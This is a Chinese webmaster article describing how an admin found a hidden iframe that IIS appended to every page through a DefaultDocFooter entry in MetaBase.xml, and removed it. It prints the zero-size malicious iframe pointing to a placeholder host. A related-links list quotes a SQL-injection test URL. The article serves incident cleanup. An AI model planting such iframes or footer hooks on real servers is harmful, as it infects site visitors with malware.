Windows服务器下查IIS被挂iframe木马
作者：佚名 来源：网页教学网 发布时间：2009-03-02 17:32:00
一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒
打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
分析原因
首先怀疑ARP挂马，用防ＡＲＰ的工具又没有发现有arp欺骗
而且arp欺骗一般不会每次都 * 入代码，而是时有时无
而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码
arp欺骗的可能排除。
然后就想到可能是JS被篡改，或者是其它的包含文件，查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会 * 入这段代码，那就只能是通过ＩＩＳ挂上去的了。
备份iis数据然后重装iis，代码消失，将备份的iis恢复，问题又来了。
仔细寻找，问题应该出在IIS的配置文件上，打开配置文件，没有发现那段代码。
那很有可能是调用了某个文件，这个怎么查啊，忽然想起了大名鼎鼎的Filemon
本地载了一个上传到服务器上，打开Filemon，数据太多了，过滤掉一些没有用的
只留下iis的进程，数据还是很多，看来服务器上的站点还是挺多人在访问的。
关掉所有站点,建了一个测试站点anky 目录为D:\www\ 在下面建了一个空白页面test.htm
访问一下这个页面代码 * 进来了，再看一下Filemon 奇怪怎么读取C:\Inetpub\wwwroot\iisstart.htm
打开C:\Inetpub\wwwroot\iisstart.htm一看，里面就躺着
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
把代码删除了留空，访问test.htm 正常了，把C:\Inetpub\wwwroot\iisstart.htm删除了再访问
test.htm 出现 “读取数据页脚文件出错”问题就出这里了，看来是调用了
这个文件。
把C:\Inetpub\wwwroot\iisstart.htm清空就正常了，这样怎么行，解决问题当然要连根拔掉。
continue
有没有可能是扩展造成的，到扩展中检查了一遍全部都是正常的
当然 通过ISAPI 挂马的也是存在的
左想右想最后还是觉得配置文件有问题
打开配置文件，配置文件在％windir％\system32\inetsrv\MetaBase.xml
用记事本打开，查找iisstart.htm 找到一行，开始以为是默认站点，后来一想不对啊
默认站点都删除了，再仔细一看这句代码为
DefaultDocFooter="FILE:C:\Inetpub\wwwroot\iisstart.htm"
删除掉这一行，问题彻底解决了。
0
投稿猜你喜欢
- 很显然，微软的放手并没有影响雅虎自己的计划。有消息称，雅虎将在本周中宣布与Google结成合作伙伴关系，在其搜索结果旁边放置Google提供
CentOS简介CentOS 是一个基于Red Hat Linux 提供的可自由使用源代码的企业级Linux发行版本。每个版本的 CentO- DEDECMS5.5刚出来，很多人都还没有用，我就先尝试了，(勇于做第一个吃螃蟹的人)呵呵~~，其实做好数据备份也没什么好怕的。正好公司网站
- Exchange Server 2007 日志规则新日志向导日志报告中包括的内容您是否曾经不得不记录您与某位特定用户之间往来的电子邮件，而结
- 西联汇款开通以来，有很多发布商需要给我们写邮件修改拼音姓名才能领取付款。为了方便广大发布商顺利取款，我们很高兴地通知您，现在您可以在账户中直
- 400 无法解析此请求。401.1 未经授权:访问由于凭据无效被拒绝。401.2 未经授权: 访问由于服务器配置倾向使用替代身份验证方法而被
- 一抬头，又是窗外朦朦，不知多少人家，此时梦中。多少草根站长，此时挑灯夜战。回首间，已埋在Admin5近两年。虽然钱赚的不多，但是阅历增加无数
- 没有时间运行命令？使用 cron 的计划任务意味着你不用熬夜程序也可以运行。系统管理员（在许多好处中）的挑战之一是在你该睡觉的时候去运行一些
- 关于关键词的选取在SEO工作中，关键词的选取对于整个SEO工作是否有效有着很大的影响，如果关键词选取不当，就会导致关键词排名虽高，但是没有太
- 我们可能因为一些特殊需求网站服务器使用 Windows Server 系统来跑，没有采用Linux环境。而Webp格式的图像越来越多的网站采
- 我做了如下测试：(1) http://www.xxx.com/new/new.asp?id=49’Microsoft OLE DB Prov
- 今天我们来说说服务器基础知识方面的几个问题，也是困惑初涉服务器领域众“菜鸟”们的几个常见问题:1 双
- 网络管理阶层的工作就是保证网络的正常工作，从而使得职工们的工作不被打断。可问题在于事物并非总是按照理想状况发展，事实上经常会出现平地起风波的
- 本次教程的前提条件是您得安装好VM软件和Xshell。对应软件的下载请自行百度！如果exe都不会安装，请关闭本页面！第一步、下载镜像阿里云开
- 虽然自己做站长没有几年,但是经历了从03年到08的,也有了别人没有的经验和体会,其中很重要的一点就是明白了在中国做站长最重要的一点是什么?就
- 随着电子商务的概念深入人心，人们的关注已经不仅仅是网上贸易简单的信息交流与物品置换，而是整个电子商务流程和网上商贸的生态化建设是否完备。“快
- 大家都知道做网站推广很关键，现在我想谈谈如何利用特殊时段的热门关键词为网站带来流量。春节前，我上搜搜问问和百度知道等知道（问题）系统逛的时候
- 计算机可以被设置为每次重新启动时，都可以在两个或多个操作系统之间选择。例如，可以将服务器设置为大部分时间运行 Windows 2000 Se
- 网络的迅速发展使宽带走入寻常百姓家，广大网络爱好者也勇于尝试，在自己的爱机上建设自己的网站， 那么选择什么系统呢?Win 2000漏洞百出，
- 一、什么是Google Sitelinks?Google Sitelinks也叫站内链接，这种方式的索引结果在Google搜索引擎上已经存在
